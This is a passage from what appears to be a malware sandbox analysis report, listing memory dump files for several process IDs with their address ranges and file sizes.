    • memory/2332-52-0x00000000750C0000-0x0000000075870000-memory.dmp

      Filesize

      7.7MB

    • memory/2332-53-0x00000000084A0000-0x0000000009ECE000-memory.dmp

      Filesize

      26.2MB

    • memory/2332-54-0x00000000750C0000-0x0000000075870000-memory.dmp

      Filesize

      7.7MB

    • memory/2332-37-0x0000000005570000-0x00000000058C4000-memory.dmp

      Filesize

      3.3MB

    • memory/2332-56-0x00000000750C0000-0x0000000075870000-memory.dmp

      Filesize

      7.7MB

    • memory/2332-57-0x00000000750C0000-0x0000000075870000-memory.dmp

      Filesize

      7.7MB

    • memory/2332-21-0x00000000750CE000-0x00000000750CF000-memory.dmp

      Filesize

      4KB

    • memory/2332-22-0x0000000002170000-0x00000000021A6000-memory.dmp

      Filesize

      216KB

    • memory/2332-23-0x00000000750C0000-0x0000000075870000-memory.dmp

      Filesize

      7.7MB

    • memory/2332-24-0x0000000004C70000-0x0000000005298000-memory.dmp

      Filesize

      6.2MB

    • memory/3804-75-0x0000000000400000-0x0000000000462000-memory.dmp

      Filesize

      392KB

    • memory/3804-79-0x0000000000400000-0x0000000000462000-memory.dmp

      Filesize

      392KB

    • memory/3804-70-0x0000000000400000-0x0000000000462000-memory.dmp

      Filesize

      392KB

    • memory/4280-77-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/4280-74-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/4280-72-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/4280-69-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/4656-64-0x0000000000C80000-0x0000000001ED4000-memory.dmp

      Filesize

      18.3MB

    • memory/4656-85-0x00000000202E0000-0x00000000202F9000-memory.dmp

      Filesize

      100KB

    • memory/4656-88-0x00000000202E0000-0x00000000202F9000-memory.dmp

      Filesize

      100KB

    • memory/4656-89-0x00000000202E0000-0x00000000202F9000-memory.dmp

      Filesize

      100KB